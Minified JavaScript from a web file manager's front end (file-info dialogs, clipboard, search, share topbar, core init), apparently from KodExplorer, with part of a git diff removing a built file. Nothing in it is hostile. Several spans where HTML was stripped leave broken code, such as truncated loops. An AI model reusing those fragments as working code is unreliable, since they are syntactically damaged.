c={};c.fileInfo=a("./tpl/fileinfo/fileInfo.html"),c.pathInfo=a("./tpl/fileinfo/pathInfo.html"),c.pathInfoMore=a("./tpl/fileinfo/pathInfoMore.html"),b.length<1&&(b=[{path:G.thisPath,type:"folder"}]);var d="info";1==b.length&&(d="file"==b[0].type?core.pathExt(b[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(f(b),function(a){if(!a.code)return void Tips.close(a);Tips.close(LNG.get_success,!0);var e="pathInfoMore",f=LNG.info;1==b.length&&(e="folder"==b[0].type?"pathInfo":"fileInfo",f=core.pathThis(b[0].path),f.length>15&&(f=f.substr(0,15)+"... "+LNG.info));var g=template.compile(c[e]),h=UUID();a.data.is_root=G.isRoot,a.data.LNG=LNG,a.data.atime=date(LNG.time_type_info,a.data.atime),a.data.ctime=date(LNG.time_type_info,a.data.ctime),a.data.mtime=date(LNG.time_type_info,a.data.mtime),a.data.sizeFriendly=pathTools.fileSize(a.data.size);var i=$.dialog({id:h,padding:5,ico:core.iconSmall(d),fixed:!0,title:f,content:g(a.data),ok:!0}),j=15*$(".aui-outer .pathinfo").length;i.DOM.wrap.css({left:"+="+j+"px",top:"+="+j+"px"}),w(h,b)})},w=function(a,b){var c=$("."+a);c.find(".open-window").bind("click",function(){window.open(c.find("input.download-url").val())}),c.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(c.find("input.download-url").val(),c.find(".qrcode").get(0))});var d=c.find(".file-md5-loading");if(1==d.length){var e=f(b);e+="&getMd5=1",core.fileInfo(e,function(a){d.removeClass("file-md5-loading"),a.code?d.html(a.data.fileMd5):d.html(LNG.error)})}var g=c.find("input.download-url"),h=g.get(0);g.unbind("hover click").bind("hover click",function(a){$(this).focus();var b=g.val().length;if($.browser.msie){var c=h.createTextRange();c.moveEnd("character",-h.value.length),c.moveEnd("character",b),c.moveStart("character",0),c.select()}else h.setSelectionRange(0,b)}),c.find(".edit-chmod").click(function(){var a=$(this).parent().find("input"),c=$(this);$.ajax({url:G.appHost+"explorer/pathChmod&mod="+a.val(),type:"POST",data:f(b),beforeSend:function(){c.text(LNG.loading)},error:function(a){c.text(LNG.button_save)},success:function(a){c.text(a.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){c.text(LNG.button_save)}),a.code&&ui.f5()}})})},x=function(a,b,c){var d=function(){$.ajax({url:G.appHost+"fav/del&name="+urlEncode(a),dataType:"json",async:!1,success:function(a){"function"==typeof b&&b(a)}})};return c?void d():void $.dialog({id:"dialog-fav-remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:d,cancel:!0})},y=function(a){if(a){if(-1==trim(core.pathClear(a.path),"/").indexOf("/")){var b=core.getPathIcon(a.path,a.name);""!=b.icon&&(a.ext=b.icon,a.name=b.name)}"/"==a.path&&(a.name="Home"),$.ajax({url:G.appHost+"fav/add",dataType:"json",data:a,success:function(a){Tips.tips(a),a.code&&!core.isApp("desktop")&&ui.tree.refreshFav()}})}},z=function(a){var b={};return b.type=a.find("input[type=radio]:checked").val(),b.content=a.find("textarea").val(),b.group=a.find("[name=group]").val(),a.find("input[type=text]").each(function(){var a=$(this).attr("name");b[a]=$(this).val()}),a.find("input[type=checkbox]").each(function(){var a=$(this).attr("name");b[a]="checked"==$(this).attr("checked")?1:0}),b},A=function(a){a.find(".type input").change(function(){var b=$(this).attr("apptype");a.find("[data-type]").addClass("hidden"),a.find("[data-type="+b+"]").removeClass("hidden")}),a.find(".app-edit-select-icon").unbind("click").bind("click",function(){var b=G.basicPath+"static/images/file_icon/icon_app/";G.isRoot||(b=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:b},function(b){var b=core.path2url(b);a.find(".app-edit-select-icon-input").val(b)})}),a.find(".size-full").unbind("click").bind("click",function(){var b=$(this).prop("checked");b?(a.find("[name=width]").val("100%"),a.find("[name=height]").val("100%")):(a.find("[name=width]").val("800"),a.find("[name=height]").val("600"))})},B=function(b,c,d){var e,f,g,h=LNG.app_create,i=UUID(),j=a("./tpl/appEdit.html"),k=template.compile(j);switch(void 0==d&&(d="userEdit"),"rootEdit"==d&&(b=b),"userEdit"==d||"rootEdit"==d?(h=LNG.app_edit,g=k({LNG:LNG,uuid:i,data:b,appType:G.settings.appType})):g=k({LNG:LNG,uuid:i,data:{},appType:G.settings.appType}),$.dialog({fixed:!0,width:450,id:i,padding:15,title:h,content:g,button:[{name:LNG.preview,callback:function(){return core.openApp(z(e)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var a=z(e);switch(d){case"userAdd":var g=urlEncode(G.thisPath+a.name);f=G.appHost+"app/userApp&action=add&path="+g;break;case"userEdit":f=G.appHost+"app/userApp&path="+urlEncode(b.path);break;case"rootAdd":f=G.appHost+"app/add&name="+urlEncode(a.name);break;case"rootEdit":f=G.appHost+"app/edit&name="+urlEncode(a.name)+"&old_name="+urlEncode(b.name)}$.ajax({url:f,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(a){if(Tips.close(a),a.code)if("rootEdit"==d||"rootAdd"==d){if(!a.code)return;ShareData.frameTop("Openapp_store",function(a){a.App.reload()})}else"function"==typeof c?c():ui.f5()}})}}]}),e=$("."+i),G.isRoot||$(".appbox .appline .right a.open").remove(),b.group&&e.find("option").eq(b.group).attr("selected",1),e.find(".aui-content").css("overflow","inherit"),d){case"userEdit":e.find(".name").addClass("hidden"),e.find(".desc").addClass("hidden"),e.find(".group").addClass("hidden"),e.find("option[value="+b.group+"]").attr("checked",!0),"url"!=b.type&&e.find(".appline[data-type=url]").addClass("hidden");break;case"userAdd":e.find(".desc").addClass("hidden"),e.find(".group").addClass("hidden"),e.find("[apptype=url]").attr("checked",!0),e.find("[data-type=url] input[name=resize]").attr("checked",!0),e.find("input[name=width]").attr("value","800"),e.find("input[name=height]").attr("value","600"),e.find("input[name=icon]").attr("value","oexe.png");break;case"rootAdd":e.find("[apptype=url]").attr("checked",!0),e.find("[data-type=url] input[name=resize]").attr("checked",!0),e.find("input[name=width]").attr("value","800"),e.find("input[name=height]").attr("value","600"),e.find("input[name=icon]").attr("value","oexe.png");break;case"rootEdit":e.find("option[value="+b.group+"]").attr("selected",!0),"url"!=b.type&&e.find(".appline[data-type=url]").addClass("hidden")}A(e)},C=function(){core.appStore()},D=function(a){a&&a.length<4&&"http"!=a.substring(0,4)||$.ajax({url:G.appHost+"app/getUrlTitle&url="+a,dataType:"json",beforeSend:function(){Tips.loading()},success:function(b){var c=b.data;c=c.replace(/[\/\\]/g,"_"),Tips.close(b);var d={content:a,type:"url",desc:"",group:"others",icon:"internet.png",name:c,resize:1,simple:0,height:"70%",width:"90%"},e=urlEncode(G.thisPath+c);a=G.appHost+"app/userApp&action=add&path="+e,$.ajax({url:a,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(d))},success:function(a){Tips.close(a),a.code&&ui.f5()}})}})};return{makeJson:f,appEdit:B,appList:C,appAddURL:D,share:n,shareBox:o,setBackground:r,createLink:s,createProject:t,imageRotate:u,newFile:g,newFolder:h,rname:i,zipDownload:k,zip:l,unZip:m,info:v,remove:j,fav:y,favRemove:x}});;define("app/path/tpl/fileinfo/fileInfo.html",[],"
          \n {{if downloadPath}}\n \n
          \n {{/if}}\n\n
          \n
          {{LNG.address}}:
          \n
          {{path |kod.window.htmlEncode}}
          \n
          \n
          \n
          \n
          {{LNG.size}}:
          \n
          {{sizeFriendly}} {{if size>1024}}({{size.toLocaleString()}} Byte){{/if}}
          \n
          \n
          \n\n {{if fileMd5}}\n
          \n
          MD5:
          \n
          {{fileMd5}}
          \n
          \n
          \n {{/if}}\n\n {{if imageSize}}\n
          \n
          {{LNG.image_size}}:
          \n
          {{imageSize.width}} × {{imageSize.height}}
          \n
          \n
          \n {{/if}}\n\n
          \n\n {{if ctime}}\n
          \n
          {{LNG.create_time}}
          \n
          {{ctime}}
          \n
          \n
          \n {{/if}}\n\n {{if mtime}}\n
          \n
          {{LNG.modify_time}}
          \n
          {{mtime}}
          \n
          \n
          \n {{/if}}\n\n {{if atime}}\n
          \n
          {{LNG.last_time}}
          \n
          {{atime}}
          \n
          \n
          \n {{/if}}\n\n {{if owner}}\n
          \n
          {{LNG.file_info_owner}}
          \n
          {{owner}}
          \n
          \n
          \n {{/if}}\n\n {{if group}}\n
          \n
          {{LNG.file_info_group}}
          \n
          {{group}}
          \n
          \n
          \n {{/if}}\n \n {{if mode && is_root==\"1\"}}\n
          \n
          \n
          {{LNG.permission}}:
          \n
          {{mode}}
          \n
          \n
          \n
          \n
          {{LNG.permission_edit}}:
          \n
          \n
          \n
          \n
          \n {{/if}}\n
          \n");;define("app/path/tpl/fileinfo/pathInfo.html",[],"
          \n
          \n
          {{LNG.address}}:
          \n
          {{path |kod.window.htmlEncode}}
          \n
          \n
          \n
          \n
          {{LNG.size}}:
          \n
          {{sizeFriendly}}{{if size>1024}}({{size.toLocaleString()}} Byte){{/if}}
          \n
          \n
          \n
          \n
          {{LNG.contain}}:
          \n
          {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
          \n
          \n
          \n \n
          \n {{if ctime}}\n
          \n
          {{LNG.create_time}}
          \n
          {{ctime}}
          \n
          \n
          \n {{/if}}\n\n {{if mtime}}\n
          \n
          {{LNG.modify_time}}
          \n
          {{mtime}}
          \n
          \n
          \n {{/if}}\n\n {{if atime}}\n
          \n
          {{LNG.last_time}}
          \n
          {{atime}}
          \n
          \n
          \n {{/if}}\n\n {{if owner}}\n
          \n
          {{LNG.file_info_owner}}
          \n
          {{owner}}
          \n
          \n
          \n {{/if}}\n\n {{if group}}\n
          \n
          {{LNG.file_info_group}}
          \n
          {{group}}
          \n
          \n
          \n {{/if}}\n\n\n {{if mode && is_root==\"1\"}}\n
          \n
          \n
          {{LNG.permission}}:
          \n
          {{mode}}
          \n
          \n
          \n
          \n
          {{LNG.permission_edit}}:
          \n
          \n
          \n
          \n
          \n {{/if}}\n
          \n");;define("app/path/tpl/share.html",[],'
          \n
          \n
          {{LNG.share_title}}
          \n \n
          \n
          \n \n
          \n {{LNG.share_password}}:\n \n {{LNG.share_password_desc}}\n
          \n
          \n \n \n
          \n \n
          ');;define("app/path/tpl/fileinfo/pathInfoMore.html",[],"
          \n
          \n
          {{LNG.info}}:
          \n
          \n {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
          \n
          \n
          \n
          \n
          \n
          {{LNG.size}}:
          \n
          {{sizeFriendly}} {{if size>1024}}({{size.toLocaleString()}} Byte){{/if}}
          \n
          \n
          \n \n {{if mode && is_root==\"1\"}}\n
          \n
          \n
          {{LNG.permission}}:
          \n
          {{mode}}
          \n
          \n
          \n
          \n
          {{LNG.permission_edit}}:
          \n
          \n
          \n
          \n
          \n {{/if}}\n
          \n");;define("app/path/tpl/appEdit.html",[],"
          \n
          \n
          {{LNG.name}}
          \n
          \n
          \n
          \n
          \n
          {{LNG.app_desc}}
          \n
          \n
          \n
          \n
          \n
          {{LNG.app_icon}}
          \n
          \n \n
          \n
          \n
          \n
          \n
          {{LNG.app_group}}
          \n
          \n \n
          \n
          \n
          \n
          \n
          {{LNG.app_type}}
          \n
          \n \n \n \n \n \n \n
          \n
          \n
          \n\n
          \n
          {{LNG.app_display}}
          \n
          \n \n \n \n \n
          \n
          \n
          \n
          \n
          {{LNG.app_size}}
          \n
          \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
          \n
          \n
          \n
          \n \n \n
          {{LNG.app_url}}
          \n
          \n
          \n
          \n
          \n");;define("app/path/clipboard",[],function(a,b){var c=function(a){return ui.path.pathOperate.makeJson(a)},d=function(a){a.length<1||$.ajax({url:G.appHost+"explorer/pathCopy",type:"POST",dataType:"json",data:c(a),error:core.ajaxError,success:function(a){Tips.tips(a)}})},e=function(a){a.length<1||$.ajax({url:G.appHost+"explorer/pathCute",type:"POST",dataType:"json",data:c(a),error:core.ajaxError,success:function(a){Tips.tips(a)}})},f=function(a,b){a&&(Tips.loading(LNG.moving),setTimeout(function(){var c=G.appHost+"explorer/pathPast&path="+urlEncode(a);$.ajax({url:c,dataType:"json",error:core.ajaxError,success:function(a){Tips.close(a.data,a.code),"function"==typeof b&&b(a.info)}})},50))},g=function(a,b,d){b&&$.ajax({url:G.appHost+"explorer/pathCuteDrag",type:"POST",dataType:"json",data:c(a)+"&path="+urlEncode(b+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(a){Tips.close(a),a.code&&core.playSound("drag_drop"),"function"==typeof d&&d(a.info)}})},h=function(a,b,d,e){b&&(void 0==e&&(e=0),$.ajax({url:G.appHost+"explorer/pathCopyDrag",type:"POST",dataType:"json",data:c(a)+"&path="+urlEncode(b+"/")+"&filename_auto="+Number(e),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(a){Tips.close(a),a.code&&core.playSound("drag_drop"),"function"==typeof d&&d(a.info)}}))},i=function(a,b){var c="style='height:150px;border-left: 3px solid #def;overflow:auto;margin:20px;background: #f0f8ff;padding:20px;width:300px'",d="
          "+LNG.clipboard_null+"
          ";if(0!=a.length){d="
          "+LNG.clipboard_state+LNG[b]+"
          ";for(var e=40,f=0;f"+g.type+": "+h+""}d+='
          "}return d},j=function(){$.ajax({url:G.appHost+"explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(a){a.code&&($.dialog({id:"dialog-clipboard",title:LNG.clipboard,width:400,content:i(a.data,a.info)}),$(".clipboard-clear").one("click",function(){Tips.tips(LNG.success),$.get(G.appHost+"explorer/clipboard&clear=ok"),$.dialog.list["dialog-clipboard"].close()}))}})};return{copy:d,cute:e,past:f,cuteDrag:g,copyDrag:h,clipboard:j}});;define("app/path/search",["./tpl/search.html","./tpl/searchList.html"],function(a,b){var c=a("./tpl/search.html"),d=a("./tpl/searchList.html");return function(a,b){b||(b=G.thisPath);var e,f,g=function(){var d=trim(core.pathClear(b),"/");if(0==d.indexOf(G.KOD_USER_SHARE)&&-1==d.indexOf("/")||d==G.KOD_USER_FAV||d==G.KOD_GROUP_ROOT_ALL)return void Tips.tips(LNG.path_cannot_search,!1);template.helper("searchResultPrase",j);var g=template.compile(c);0==$(".dialog-do-search").length?(e=$.dialog({id:"dialog-do-search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:460,height:480,content:g({LNG:LNG})}),f=l(),f.path=b,""!=a&&(f.search=a),$("#search-path").val(f.path),$("#search-value").val(f.search),k()):($.dialog.list["dialog-do-search"].display(!0),a&&$("#search-value").val(a),$("#search-path").val(b),i())},h=function(){return f={search:$("#search-value").val(),path:$("#search-path").val(),is_content:Number($("#search-is-content").is(":checked")),is_case:Number($("#search-is-case").is(":checked")),ext:$("#search-ext").val()}},i=function(){h(),n(f)},j=function(a){var b=htmlEncode($("#search-value").val());if(a=htmlEncode(a),f.is_case)a=a.replace(b,''+b+"");else{var c=a.toLowerCase().indexOf(b.toLowerCase());a=a.substr(0,c)+''+a.substr(c,b.length)+""+a.substr(c+b.length)}return a},k=function(){$("#search-value").die("keyup").live("keyup",function(a){core.isApp("editor")||ui.path.setSearchByStr($(this).val())}),$("#search-value,#search-ext,#search-path").keyEnter(i),$(".search-header .btn").die("click").live("click",i),$(".search-result .file-item .file-info").die("click").live("click",function(a){var b=$(this).parent();return b.toggleClass("open"),b.find(".result-item").slideToggle(200),stopPP(a),!1}),$(".search-result .file-item .file-info .goto").die("click").live("click",function(a){var b=$(this).parent().parent(),c=pathHashDecode(b.attr("data-path")),d=core.pathFather(c);return core.openPath(d),setTimeout(function(){core.isApp("explorer")&&ui.path.setSelectByFilename(c)},200),stopPP(a),!1}),$(".search-result .file-item .file-info .title").die("click").live("click",function(a){var b=$(this).parent().parent(),c=pathHashDecode(b.attr("data-path"));return kodApp.setLastOpenTarget(b),kodApp.open(c,b.attr("data-ext")),stopPP(a),!1}),$(".search-result .file-item .result-info").die("click").live("click",function(a){var b=$(this).parent().parent(),c=pathHashDecode(b.attr("data-path"));$(".search-result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var d=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search-value").val(),line:d,lineIndex:$(this).parent().find("[data-line="+d+"]").index($(this).find(".line"))}),kodApp.open(c,b.attr("data-ext"),"aceEditor"),stopPP(a),!1}),$(".search-header input[type=checkbox]").on("click",function(){h(),l(f)})},l=function(a){var b="box_search_config";if(void 0==a){var a=LocalData.getConfig(b);return a||(a={search:"",is_content:0,is_case:0,ext:""}),$("#search-value").val(a.search).textSelect(),a.is_content?$("#search-is-content").attr("checked","checked"):$("#search-is-content").removeAttr("checked"),a.is_case?$("#search-is-case").attr("checked","checked"):$("#search-is-case").removeAttr("checked"),$("#search-ext").val(a.ext),a}return LocalData.setConfig(b,a)},m=function(a){var b=$(".file-items"),c=$(".search-desc");if(!a.code)return c.html(a.data),void b.html("");if(0==a.data.fileList.length&&0==a.data.folderList.length)return c.html(LNG.search_null),void b.html("");var e=template.compile(d);if(b.html(e({code:a.code,data:a.data,LNG:LNG})),f.is_content){for(var g=a.data.fileList,h=0,i=0;i"+h+"(in "+g.length+" files)
          "),a.data.error_info&&c.html(""+LNG.seach_result_too_more+"")}else c.html(a.data.fileList.length+" "+LNG.file+", "+a.data.folderList.length+LNG.folder+".")},n=function(a){l(a),$("#search-value").textFocus();var b=$(".file-items"),c=$(".search-desc");if(!a.search||!a.path)return c.html(LNG.search_info),void b.html("");var d=G.appHost+"explorer/search";"undefined"!=typeof G.sharePage&&(d=G.appHost+"share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:d,dataType:"json",type:"POST",data:a,beforeSend:function(){c.hide().html(LNG.searching+'').fadeIn(100)},error:function(a,b,d){core.ajaxError(a,b,d),c.html(LNG.error)},success:function(a){m(a)}})};g()}});;define("app/path/tpl/search.html",[],"\n\n");;define("app/path/tpl/searchList.html",[],'\n{{each data.folderList v i}}\n
        • \n
          \n \n {{\'folder\' |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
          \n
        • \n{{/each}}\n\n\n{{each data.fileList v i}}\n {{if v.searchInfo}}\n
        • \n
          \n \n {{v.ext |kod.core.icon}}\n \n {{v.name | kod.window.htmlEncode}}\n \n {{v.searchInfo.length}}\n \n
          \n
            \n {{each v.searchInfo value index}}\n
          • \n {{value.line}}:\n {{@value.str | searchResultPrase}}\n
          • \n {{/each}}\n
          \n
        • \n {{else}}\n
        • \n
          \n \n {{v.ext |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
          \n
        • \n {{/if}}\n{{/each}}\n\n');;define("app/shareCommon/topbar",[],function(a,b){var c=function(){var a=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid,b=G.appHost+"share/fileProxy&user="+G.user+"&sid="+G.sid;"file"!=G.shareInfo.type&&"undefined"!=typeof G.path?(b+="&path="+G.path,a+="&path="+G.path,$(".btn.button-my-share").hide(),$(".share-info-user .btn-group").show()):($(".btn.button-my-share").show(),$(".share-info-user .btn-group").hide()),"file"==G.shareInfo.type&&($(".btn.button-my-share").hide(),$(".share-info-user .btn-group").show()),"1"==G.shareInfo.notDownload&&(a="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share-info-user").removeClass("hidden"),$(".btn-download").attr("href",a);var c=date("Y/m/d H:i:s",G.shareInfo.mtime);$(".topbar .time").html(c),"file"==G.shareInfo.type&&$(".topbar .size").html(G.shareInfo.size),$(".topbar .info").html(LNG.share_view_num+G.shareInfo.numView+" "+LNG.share_download_num+G.shareInfo.numDownload),$("#button_share").die("click").live("click",function(){share()}),"A"!=core.versionType&&$(".version_vip_free").remove(),core.isApp("explorer")&&$(".btn-download").hide().attr("href","").remove()};return{init:c}}); \ No newline at end of file diff --git a/static/js/app/src/shareExplorer/main.js b/static/js/app/src/shareExplorer/main.js index e8a1942..e092840 100755 --- a/static/js/app/src/shareExplorer/main.js +++ b/static/js/app/src/shareExplorer/main.js @@ -1,9 +1,2 @@ -/*! power by kodcloud ver4.25(2017-12-04) [build 1512365183740] */ -define("app/src/shareExplorer/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/core","../../common/rightMenuExtence","../../app/appBase","../../app/editor","../../app/openWith","../../app/html","../../shareCommon/rightMenu","../../common/taskTap","../explorer/ui","../explorer/fileContent","../../common/tree","../../path/pathOperate","../../path/clipboard","../../path/search","../../path/path","../explorer/fileLight","../explorer/fileSelect","../explorer/fileListResize","../explorer/headerAddress","../../shareCommon/topbar"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".file-continer",FileBoxClass:".file-continer .file",FileBoxClassName:"file",FileBoxTittleClass:".file-continer .title",SelectClass:".file-continer .select",SelectClassName:"select",TypeFolderClass:"folder-box",TypeFileClass:"file-box",HoverClassName:"hover",FileOrderAttr:"number",TreeId:"folder-list-tree",pageApp:"explorer",treeAjaxURL:"share/treeList&app=folder&user="+G.user+"&sid="+G.sid,AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),rightMenu=e("../../shareCommon/rightMenu"),TaskTap=e("../../common/taskTap"),ui=e("../explorer/ui"),ui.tree=e("../../common/tree"),ui.path=e("../../path/path"),ui.fileLight=e("../explorer/fileLight"),ui.fileSelect=e("../explorer/fileSelect"),ui.fileListResize=e("../explorer/fileListResize"),ui.headerAddress=e("../explorer/headerAddress");var t=e("../../shareCommon/topbar");$(document).ready(function(){function a(e){var t=RegExp("(^|&)"+e+"=([^&]*)(&|$)"),a=window.location.search.substr(1).match(t);return null!=a?unescape(a[2]):null}rightMenu.initExplorer(),core.init(),ui.init(),ui.fileLight.init(),ui.fileSelect.init(),ui.headerAddress.init(),ui.tree.init(),TaskTap.init(),t.init(),ui.fileListResize.init(),ui.fileListResize.initFileSize(),$(".init-loading").fadeOut(450).addClass("pop_fadeout"),$(".frame-main .frame-left #folder-list-tree").css("bottom","0px"),"fileList"==a("type")&&($(".menu-theme-list").remove(),$(".tools .tools-left").remove(),$(".header-middle").prependTo(".tools").css("padding-top","3px"),$("#yarnball").addClass("btn-left-radius")),$(".kod-toolbar-path [data-action=upload]").hide(),G.shareInfo.canUpload&&($(".kod-toolbar-path [data-action=upload]").show(),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()})),$("#fav").remove(),Hook.bind("explorer.path.ajaxLive",function(){$(".db-click-rename").removeAttr("title").removeClass("db-click-rename")}),ui.path.showFile=function(){var e=G.appHost+"share/file&sid="+G.sid+"&user="+G.user+"&path="+urlEncode(ui.path.makeParam().path);window.open(e)}})}),define("app/common/core",["./rightMenuExtence","../app/appBase","../app/editor","../app/openWith","../app/html"],function(require,exports){tplUpload=require("./tpl/upload.html"),tplFormMake=require("./tpl/formMake.html");var tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),formMake=require("./core.formMake");require("./rightMenuExtence"),kodApp=require("../app/appBase"),require("../app/editor"),require("../app/openWith"),require("../app/html"),pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initTemplate=function(){window.require=require,template.config||(template.config=function(e,t){template.defaults[e]=t},template.helper=function(e,t){template.defaults.imports[e]=t}),template.config("escape",!1),template.config("compress",!0),template.helper("kod",{$:$,window:window,log:console.log,core:core,pathTools:window.pathTools,inArray:inArray}),template.defaults.imports.pathTools=window.pathTools,template.defaults.escape=!1,"_dev"==G.environment?(template.defaults.cache=!1,template.defaults.minimize=!1,template.defaults.compileDebug=!0):(template.defaults.cache=!0,template.defaults.minimize=!0,template.defaults.compileDebug=!1)},initFirst=function(){initTemplate(),"undefined"!=typeof G&&(1!=G.isRoot&&$(".menu-system-setting").remove(),G.isRoot||core.authCheck("systemMember.get")||1==core.authCheck("systemGroup.get")||$(".menu-system-group").remove(),G.userConfig&&"0"==G.userConfig.animateOpen&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{$.contextMenu.hidden()}catch(e){}}),$("body").click(function(){ShareData.frameTop("",function(e){self!=e&&e.$("body").trigger("click")})}),$.dialog.defaults.animate&&loadRipple(["a","button",".ripple-item",".context-menu-item","#picker",".menuShareButton",".menu-recycle-button",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common-footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init();for(var e=0;window.kodReady.length>e;e++)try{window.kodReady[e]()}catch(t){console.error("kodReady error:",t)}Hook.trigger("kodReady.end"),titleTips()},resetHost=function(){var e=window.location,t=e.port?":"+e.port:"";G.webHost=e.protocol+"//"+e.hostname+t+"/",G.appHost=rtrim(G.webHost,"/")+e.pathname.replace("index.php","")+"index.php?",G.appRoot=rtrim(G.webHost,"/")+e.pathname.replace("index.php",""),"1"==G.settings.paramRewrite&&(G.appHost=G.appHost.replace("index.php?","index.php/")),Cookie.set("HOST",G.webHost),Cookie.set("APP_HOST",G.appRoot),Cookie.set("kodUserLanguage",G.lang,8760)},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
          ")}}),$("body").bind("mousedown",function(){$(".ptips-skin").remove(),$.setStyle("body .ptips-skin{display:none !important;}","ptips-title")}).bind("mouseup",function(){$.setStyle("","ptips-title")}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,formMake:formMake,getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var a=trim(trim(e),"/");if(e={},"{"!=a.substring(0,1)||a.split("/").length>1)return{icon:"",name:""};e.pathType=a.match(/\{.*\}/),e.id=a.split(":")[1]}var i={};i[G.KOD_USER_SHARE]={icon:"user-self",name:LNG.my_share},i[G.KOD_GROUP_PATH]={icon:"group-self-owner"},i[G.KOD_GROUP_SHARE]={icon:"group-guest"},i[G.KOD_USER_SELF]={icon:"user-self"},i[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},i[G.KOD_USER_FAV]={icon:"tree-fav",name:LNG.fav},i[G.KOD_GROUP_ROOT_SELF]={icon:"group-self-root",name:LNG.my_kod_group},i[G.KOD_GROUP_ROOT_ALL]={icon:"group-root",name:LNG.kod_group};var n=i[e.pathType];return e.pathType==G.KOD_USER_SHARE&&G.userID!=e.id?n={icon:"user",name:t}:e.pathType==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"group-self-owner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),a=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];return-1!==$.inArray(t[0],a)?!0:!1},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{$.contextMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can-right-menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit-body").length||0!=$(t.target).parents(".aui-state-focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),a=t.lastIndexOf("/"),i=t.substr(a+1);if(0==i.search("fileProxy")){i=urlDecode(i.substr(i.search("&path=")));var n=i.split("/");i=n[n.length-1],""==i&&(i=n[n.length-2])}return i},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),a=t.lastIndexOf("/");return t.substr(0,a+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},pathUrlEncode:function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var a,i=this.pathClear(e);return 